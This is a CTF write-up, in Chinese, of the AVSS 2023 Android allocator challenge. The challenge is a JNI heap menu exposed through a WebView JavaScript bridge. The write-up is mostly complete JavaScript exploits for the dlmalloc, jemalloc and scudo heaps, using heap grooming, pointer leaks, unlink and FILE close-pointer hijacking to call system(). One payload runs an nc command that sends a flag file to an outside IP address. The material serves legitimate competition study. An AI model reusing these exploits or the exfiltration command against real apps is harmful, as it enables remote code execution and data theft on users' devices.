源码 http://androidxref.com/4.1.2/xref/bionic/libc/bionic/dlmalloc.c
菜单题,内存未清空、有8字节越界读写、uaf 通过jni调用实现的菜单功能,且实现了一个FileBase类,能够创建、读写、关闭文件
public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); if (getIntent().hasExtra("url")) { String url = getIntent().getStringExtra("url"); Log.d("MainActivity", "Loading url: "+url); Intent intent = new Intent(this, MyWebViewActivity.class); intent.putExtra("url", url); startActivity(intent); } else { Log.d("MainActivity", "no url"); } } }
webView.getSettings().setJavaScriptEnabled(true);允许执行js代码
webView.getSettings().setAllowFileAccess(false);禁止文件访问
MyJavaScriptInterface是一个自定义的 JavaScript 接口类,允许网页中的 JavaScript 调用本地 Java 代码,这个类定义了一些与 JavaScript 交互的方法,封装菜单功能
addJavascriptInterface(jsInterface, "_jsbridge")将 MyJavaScriptInterface 类作为 JavaScript 的接口,网页中 JavaScript 可以通过 _jsbridge来调用 Java 方法
再往下cache啥的是禁用缓存 最后加载url网页
public class MyWebViewActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_webview); WebView webView = findViewById(R.id.mywebview); String url = getIntent().getStringExtra("url"); webView.getSettings().setJavaScriptEnabled(true); webView.getSettings().setAllowFileAccess(false); MyJavaScriptInterface jsInterface = new MyJavaScriptInterface(getApplicationContext()); webView.addJavascriptInterface(jsInterface, "_jsbridge"); WebSettings settings = webView.getSettings(); settings.setCacheMode(WebSettings.LOAD_NO_CACHE); webView.loadUrl(url); } }
下面命令传入网页url
am start -n com.avss.testallocator/.MainActivity -e url http://127.0.0.1:8000/evil.html
apk实现都一样,运行环境分别在android 4/8/12上,对应堆管理器分别为dlmallloc/jemalloc/scudo
题目本意是利用 uaf 打 Filebase 类,一开始以为要打堆管理,dlmalloc 打了 unlink,后两题赛后用 uaf 做的
调试方法
jemalloc 和 scudo 题目给的环境起不来,使用Android studio环境启动 选没有Google play的设备,才能获得 adb root
adb shell中gdbserver attach,使用adb reverse将安卓设备端口映射到主机,结合socat端口转发,将到主机的连接转发到gdbserver映射出来的端口,在docker中使用gdb remote连接
dlmalloc
堆风水,让可控堆块和filebase相邻申请,再利用8字节越界读 泄露filebase类中的指针 得到 libhello 基址
接着一直申请直到三个连续申请的堆块相邻排布在一块(通过检测下一个堆块头4字节内容判断),利用越界改size。释放前先喷对应size,保证能够获取 libc 地址;如果不成功就重来
最后unlink,伪造堆块 利用前向合并触发,往chunklist写入地址 得到任意地址读写原语
劫持执行流 利用 libc.so中 __libc_malloc_dispatch,这是一个二级指针,指向__libc_malloc_default_dispatch,这里指向一个函数表,依次存放dlmalloc,dlfree等函数指针。其中正好__libc_malloc_dispatch可写
通过修改__libc_malloc_dispatch,伪造函数表,控制dlfree为system执行命令
连着gdb的时候 不知道为啥只要改完上述二级指针,js里后续delete等操作就没有执行到 被坑了好久
题目对应dlmalloc版本2.8.x,存在
ok_address()地址检查,堆管理结构中有字段least_addr记录堆内存最低地址,unlink等操作中判断操作指针需要大于该地址,从而作为漏洞利用缓解措施。如果单独编译c/c++程序模拟题目操作会不满足该条件无法利用,但实际apk中该地址会小于实际chunklist地址,从而不影响利用
exp
<script> function hexToLE(hexString){ var ret = 0; for (var i = 3; i >= 0; i --) { ret <<= 8; ret |= parseInt(hexString.slice(i*2, i*2+2),16); } return ret; } function LEToHex(number) { var hex = ""; for (var i = 0; i < 4; i++) { var byte = (number & 0xff).toString(16); if (byte.length == 1){ byte = '0'+byte; } hex = hex+byte; number >>= 8; } return hex; } function genNStr(s, n){ var res = ''; for(var i = 0; i < n; i++) res+= s; return res; } function genKey(index){ var key = index.toString(16); if (key.length == 1){ key = "30"+key.charCodeAt(0).toString(16); } else{ key = key.charCodeAt(0).toString(16)+key.charCodeAt(1).toString(16) } return key; } function convertToASCII(str) { var result = ""; for (var i = 0; i < str.length; i++) { result += str.charCodeAt(i).toString(16); } return result; } function chunk_fengshui(){ // spray var found_idx=-1; while(found_idx == -1){ for (var index = 0; index < 30; index++){ var s_index = index.toString(16); if (s_index.length == 1){ s_index = "0"+s_index; } _jsbridge.add(index, "AB"+s_index+"\x61", 0x5c); } for (var index = 0; index < 30; index++) { leak_content_first = _jsbridge.show(index, 0x5c+8); if (hexToLE(leak_content_first.slice(0x5c*2, 0x5c*2+8)) == 0x6b && leak_content_first.slice(0x60*2, 0x60*2+8) == ("4142"+genKey(index+1))){ leak_content_second = _jsbridge.show(index+1, 0x5c+8); if (hexToLE(leak_content_second.slice(0x5c*2, 0x5c*2+8)) == 0x6b && leak_content_second.slice(0x60*2, 0x60*2+8) == ("4142"+genKey(index+2))){ found_idx = index; break; } } } } return found_idx; } function get_libc_addr() { var found_idx = chunk_fengshui(); // for debug var debug1_idx = 35; _jsbridge.add(debug1_idx, found_idx.toString(), 0x6c); var data = genNStr('41', 0x58); data+= genNStr('00', 0x4); data+= LEToHex(0xd3); _jsbridge.edit(found_idx, data); var overlap_idx = 32; // spray for (var index = 0; index < 50; index++) { _jsbridge.add(49, "A", 0xc4); } var cmd = "nc 101.43.232.7 7777 < /data/data/com.avss.testallocator/files/flag"; var cmd_1 = cmd.slice(0, 8); var cmd_2 = cmd.slice(8, cmd.length); _jsbridge.add(49, cmd_1, 0xc4); _jsbridge.edit(49, convertToASCII(cmd_2)+"0000"); for(var i = 0; i < 0x100000; i++) {} _jsbridge.delete(found_idx+1); var check_content = _jsbridge.show(found_idx, 0x5c+8); var libc_addr = hexToLE(check_content.slice(0x60*2, 0x60*2+8)); // debug _jsbridge.edit(debug1_idx, LEToHex(libc_addr)+LEToHex(0x41424344)); return libc_addr; } function get_libhello_addr(){ // for debug var debug2_idx = 34; _jsbridge.add(debug2_idx, "A", 0x6c); var libhello_addr = -1; var cnt = 0; while(libhello_addr == -1){ _jsbridge.add(cnt%30, "A", 0x4); _jsbridge.openfile("a", 1); var possible_addr = hexToLE(_jsbridge.show(cnt%30, 0x4+8).slice(8*2, 8*2+8)); if ((possible_addr>>>24 == 0xa5) && ((possible_addr&0xff)>>>0)==0xdc){ libhello_addr = possible_addr; break; } cnt+=1; } // debug _jsbridge.edit(debug2_idx, LEToHex(libhello_addr)+LEToHex(0x45464748)); return libhello_addr; } function arb_write(control_idx, victim_idx, addr, ct){ _jsbridge.edit(control_idx, LEToHex(addr-0x8)); _jsbridge.edit(victim_idx, ct); } function arb_read(control_idx, victim_idx, addr){ _jsbridge.edit(control_idx, LEToHex(addr-0x8)); return _jsbridge.show(victim_idx, 0x5c+8); } function unlink_attack(libc_addr, libhello_addr){ var found_idx = chunk_fengshui(); // for debug var debu3_idx = 33; _jsbridge.add(debu3_idx, found_idx.toString(), 0x6c); var libc_offset = 0x4d250; var libhello_offset = 0x19bdc; var libc_base = ((libc_addr-libc_offset)&0xfffff000)>>>0; var libhello_base = ((libhello_addr-libhello_offset)&0xfffff000)>>>0; var chunklist_addr = libhello_base+0x1c630+4*(found_idx+1); var chunk_1 = genNStr("41", 0x58); chunk_1+= genNStr("00", 12); _jsbridge.edit(found_idx, chunk_1); var chunk_2 = LEToHex(chunklist_addr-12); chunk_2+= LEToHex(chunklist_addr-8); chunk_2+= genNStr("41", 0x50); chunk_2+= LEToHex(0x60); chunk_2+= LEToHex(0x6a); _jsbridge.edit(found_idx+1, chunk_2); // unlink _jsbridge.delete(found_idx+2); var control_idx = found_idx+1; var victim_idx = found_idx; var libc_malloc_dispatch = 0x49000+libc_base; var fake_libc_malloc_dispatch = 0x49320+libc_base; var system_addr = libc_base+0x246a0; var dlmalloc_addr = libc_base+0xfc94; var dlcalloc = libc_base+0x1164c; var dlrealloc = libc_base+0x11694; var dlmemalign = libc_base+0x117cc; var dlmalloc_usable_size = libc_base+0x11d98; var hijack_dispatch_ct = LEToHex(dlmalloc_addr+1)+LEToHex(system_addr+1)+LEToHex(dlcalloc+1)+LEToHex(dlrealloc+1)+LEToHex(dlmemalign+1)+LEToHex(dlmalloc_usable_size+1) arb_write(control_idx, victim_idx, fake_libc_malloc_dispatch, hijack_dispatch_ct); arb_write(control_idx, victim_idx, libc_malloc_dispatch, LEToHex(fake_libc_malloc_dispatch)); _jsbridge.delete(49); } var libhello_addr = get_libhello_addr(); var libc_addr = -1; while(libc_addr == -1){ var leak_addr = get_libc_addr(); if (leak_addr>>>24 == 0xb6){ libc_addr = leak_addr; break; } } unlink_attack(libc_addr, libhello_addr); while (1) { } </script> <!-- watch *0xb6fb2000 --> <!-- vmmap 0xa8c13000-0x3150000 --> <!-- am start -n com.avss.testallocator/.MainActivity -e url http://192.168.130.133:8000/evil.html 0x1c630 --> <!-- 0x3630 -->
jemalloc
思路和 scudo 类似,Android8不支持BigInt语法,直接按照32bit处理
另外处理中数据时注意移位保证无符号数
jemalloc没有chunk头,没法直接确定对应内存大小,占位前直接看libc.so的fopen函数里实际申请大小为0xA6F
在使用FileBase类占位空闲内存时不能统一一块释放,采用释放一个调用一次openfile,然后遍历可控堆块判断是否占位成功,之后劫持指针布置参数即可
exp
<script> function LEToHex32(number) { number = number>>>0; var hex = number.toString(16); if (hex.length % 2 !== 0) { hex = '0' + hex; } if (hex.length < 8) { hex = hex.padStart(8, '0'); } else if (hex.length > 8) { hex = hex.slice(-8); } var bytes = []; for (var i = 0; i < 8; i += 2) { bytes.push(hex.slice(i, i + 2)); } bytes.reverse(); return bytes.join('').toUpperCase(); } function hexToLE32(hexString){ var ret = 0; for (var i = 3; i >= 0; i --) { ret = (ret<<8)>>>0; ret |= parseInt(hexString.slice(i*2, i*2+2),16) >>> 0; } return ret; } function genNStr(s, n){ var res = ''; for(var i = 0; i < n; i++) res+= s; return res; } function convertToASCII(str) { var result = ""; for (var i = 0; i < str.length; i++) { result += str.charCodeAt(i).toString(16); } return result; } var debug1_idx = 49; _jsbridge.add(debug1_idx, "GG", 0x18); _jsbridge.edit(debug1_idx, LEToHex32(0x11223344)+LEToHex32(0x55667788)); for (var index = 0; index < 20; index++){ var s_index = index.toString(16); if (s_index.length == 1){ s_index = "0"+s_index; } _jsbridge.add(index, "AB"+s_index+"\x61", 0xa6f-0x8); } for (var index = 0; index < 20; index++){ _jsbridge.delete(index); _jsbridge.add(index+20, "GG", 0xa6f-0x8); } var libc_base_low = -1; var libc_base_high = -1; var heap_addr_low = -1; var heap_addr_high = -1; var control_idx = 20; var cnt = 0; while(libc_base_low == -1 && libc_base_high== -1){ _jsbridge.delete(cnt%20); _jsbridge.openfile("D", 1); cnt+=1; for(var index = 0; index < 20; index++){ var content = _jsbridge.show(20+index, 0xa6f); var check_ct = hexToLE32(content.slice(0x48*2, 0x48*2+8)); if ((check_ct&0xfff) == 0x1c0){ control_idx += index; libc_base_low = check_ct-0x731c0; libc_base_high = hexToLE32(content.slice(0x48*2+4*2, 0x48*2+4*2+8)); heap_addr_low = hexToLE32(content.slice(0x40*2, 0x40*2+8))-0x18; heap_addr_high = hexToLE32(content.slice(0x40*2+4*2, 0x40*2+4*2+8)); _jsbridge.edit(debug1_idx, LEToHex32(index)+LEToHex32(check_ct) +LEToHex32(libc_base_low)+LEToHex32(libc_base_high) +LEToHex32(heap_addr_low)+LEToHex32(heap_addr_high) +LEToHex32(0x41424344)); break; } } } var chunk_ct = _jsbridge.show(control_idx, 0xa08); var system_addr_low = libc_base_low+0x64144; var system_addr_high = libc_base_high; var cmd = "echo hacked > /data/data/com.avss.testallocator/files/tmp/hacked" chunk_ct = chunk_ct.slice(0, 0x40*2) + LEToHex32(heap_addr_low+0xa8) + LEToHex32(heap_addr_high) + LEToHex32(system_addr_low) + LEToHex32(system_addr_high) + chunk_ct.slice((0x50)*2, chunk_ct.length*2); chunk_ct = chunk_ct.slice(0, 0xa0*2) + convertToASCII(cmd)+"00" + chunk_ct.slice((0x50)*2, chunk_ct.length*2) _jsbridge.edit(control_idx, chunk_ct); _jsbridge.closefile(); while(1) {} </script>
scudo
原来不需要打堆管理,利用的是uaf劫持binoic libc中file结构体的指针,劫持_close函数指针,并且修改_cookie指向可控地址
涉及堆块classID=0x14,大小0xa00-0xa10,比较神奇的是好像这个堆块里有好几个相关结构体内容和指针,而且调试看每次调用的是哪一个指针还不太一样。直接把所有相关的指针都改掉就行
binoic libc相关代码如下,劫持(*fp->_close)(fp->_cookie)
// fopen FILE * fopen(const char *file, const char *mode) { FILE *fp; int f; int flags, oflags; if ((flags = __sflags(mode, &oflags)) == 0) return (NULL); if ((fp = __sfp()) == NULL) return (NULL); if ((f = open(file, oflags, DEFFILEMODE)) < 0) { fp->_flags = 0; /* release */ return (NULL); } fp->_file = f; fp->_flags = flags; fp->_cookie = fp; fp->_read = __sread; fp->_write = __swrite; fp->_seek = __sseek; fp->_close = __sclose; /* * When opening in append mode, even though we use O_APPEND, * we need to seek to the end so that ftell() gets the right * answer. If the user then alters the seek pointer, or * the file extends, this will fail, but there is not much * we can do about this. (We could set __SAPP and check in * fseek and ftell.) */ if (oflags & O_APPEND) (void) __sseek((void *)fp, (fpos_t)0, SEEK_END); return (fp); } // fclose int fclose(FILE *fp) { int r; if (fp->_flags == 0) { /* not open! */ errno = EBADF; return (EOF); } FLOCKFILE(fp); WCIO_FREE(fp); r = fp->_flags & __SWR ? __sflush(fp) : 0; if (fp->_close != NULL && (*fp->_close)(fp->_cookie) < 0) r = EOF; if (fp->_flags & __SMBF) free((char *)fp->_bf._base); if (HASUB(fp)) FREEUB(fp); if (HASLB(fp)) FREELB(fp); fp->_r = fp->_w = 0; /* Mess up if reaccessed. */ fp->_flags = 0; /* Release this FILE for reuse. */ FUNLOCKFILE(fp); return (r); }
exp
<script> function LEToHex64(number) { var hex = number.toString(16); if (hex.length % 2 !== 0) { hex = '0' + hex; } if (hex.length < 16) { hex = hex.padStart(16, '0'); } else if (hex.length > 16) { hex = hex.slice(-16); } var bytes = []; for (var i = 0; i < 16; i += 2) { bytes.push(hex.slice(i, i + 2)); } bytes.reverse(); return bytes.join('').toUpperCase(); } function hexToLE64(hexString){ var ret = 0n; for (var i = 7; i >= 0; i --) { ret <<= 8n; ret |= BigInt(parseInt(hexString.slice(i*2, i*2+2),16)); } return ret; } function genNStr(s, n){ var res = ''; for(var i = 0; i < n; i++) res+= s; return res; } function genKey(index){ var key = index.toString(16); if (key.length == 1){ key = "30"+key.charCodeAt(0).toString(16); } else{ key = key.charCodeAt(0).toString(16)+key.charCodeAt(1).toString(16) } return key; } function convertToASCII(str) { var result = ""; for (var i = 0; i < str.length; i++) { result += str.charCodeAt(i).toString(16); } return result; } var debug1_idx = 49; _jsbridge.add(debug1_idx, "GG", 0x18); _jsbridge.edit(debug1_idx, LEToHex64(0x11223344n)); for (var index = 0; index < 20; index++){ var s_index = index.toString(16); if (s_index.length == 1){ s_index = "0"+s_index; } _jsbridge.add(index, "AB"+s_index+"\x61", 0xa08); } for (var index = 0; index < 20; index++){ _jsbridge.delete(index); _jsbridge.add(index+20, "GG", 0xa08); } for (var index = 0; index < 20; index++){ _jsbridge.delete(index); } var libc_base = BigInt(-1); var heap_addr = BigInt(-1); var control_idx = 20; while(libc_base == -1){ for(var index = 0; index < 20; index++){ _jsbridge.openfile("D", 1); var content = _jsbridge.show(20+index, 0xa08+8); var check_ct = hexToLE64(content.slice(0x48*2, 0x48*2+16)); if ((Number(check_ct>>32n)&0xf0) == 0x70 && Number(check_ct&0xfffn) == 0xc58){ control_idx += index; libc_base = check_ct-0xa8c58n; heap_addr = hexToLE64(content.slice(0x40*2, 0x40*2+16))-0x10n; _jsbridge.edit(debug1_idx, LEToHex64(BigInt(index))+LEToHex64(libc_base)+LEToHex64(0x4343434343434343n)); break; } } } var chunk_ct = _jsbridge.show(control_idx, 0xa08); var system_addr = libc_base+0x60cc4n; var cmd = "echo hacked > /data/data/com.avss.testallocator/files/tmp/hacked" for (var offset = 0; offset+0x98<0xa00; offset+=0x98){ chunk_ct = chunk_ct.slice(0, (0x40+offset)*2) + LEToHex64(heap_addr) + LEToHex64(system_addr) + chunk_ct.slice((0x50+offset)*2, chunk_ct.length*2); } _jsbridge.edit(control_idx, chunk_ct); _jsbridge.edit(control_idx, convertToASCII(cmd)+"00"); // debug // for(var i = 0; i < 0x1000; i++){ // _jsbridge.edit(debug1_idx, LEToHex64(BigInt(control_idx))); // } _jsbridge.closefile(); while(1) {} </script>
poc
<html> <head> </head> <body> <h1>AVSS 2023</h1> <p>UV4-Allocator A8 PoC</p> <script type="text/javascript" > function print_res(res) { document.write("<p>" + res + "</p>\n") } function bytesToHexString(bytes) { return Array.from(bytes, byte => ('0' + (byte & 0xFF).toString(16)).slice(-2)).join(''); } function bytesToString(bytes) { return String.fromCharCode.apply(null, bytes); } function unhex(hexString) { let str = ''; for (let i = 0; i < hexString.length; i += 2) { const byte = parseInt(hexString.substr(i, 2), 16); str += String.fromCharCode(byte); } return str; } function hex(str) { let hex = ''; for (let i = 0; i < str.length; i++) { hex += str.charCodeAt(i).toString(16).padStart(2, '0'); } return hex; } function unpack64(data) { return parseInt(data.match(/../g).reverse().join(''), 16); } function pack64(data) { return data.toString(16).match(/../g).reverse().join('').padEnd(16, '0'); } function add(idx, key, size) { _jsbridge.add(idx, key, size); } function edit(idx, value) { _jsbridge.edit(idx, value); } function show(idx, size) { res = _jsbridge.show(idx, size); console.log(res+" "); // print_res(res); return res; } function jdelete(idx) { _jsbridge.delete(idx); } console.log("Start"); print_res("Start"); // uninitialization console.log("uninitialization"); add(0, "a0", 0x10); res = show(0, 0x10); print_res(res); // double free console.log("double free"); add(1, "a1", 0x100); jdelete(1); jdelete(1); add(2, "a2", 0x100); add(3, "a3", 0x100); edit(2, "deadbeefdeadbeefdeadbeefdeadbeef") console.log("a2: "); res = show(2, 0x100); console.log("a3: "); res = show(3, 0x100); // overwrite console.log("overwrite 8 bytes"); add(4, "a4", 0x100-8); add(5, "a5", 0x100-8); console.log("before: "); res = show(4, 0x100); edit(4, "".padEnd(0x100*2, "3")) // overread console.log("after: "); res = show(4, 0x100); print_res(res); console.log("Done"); print_res("Done"); </script> </body> </html>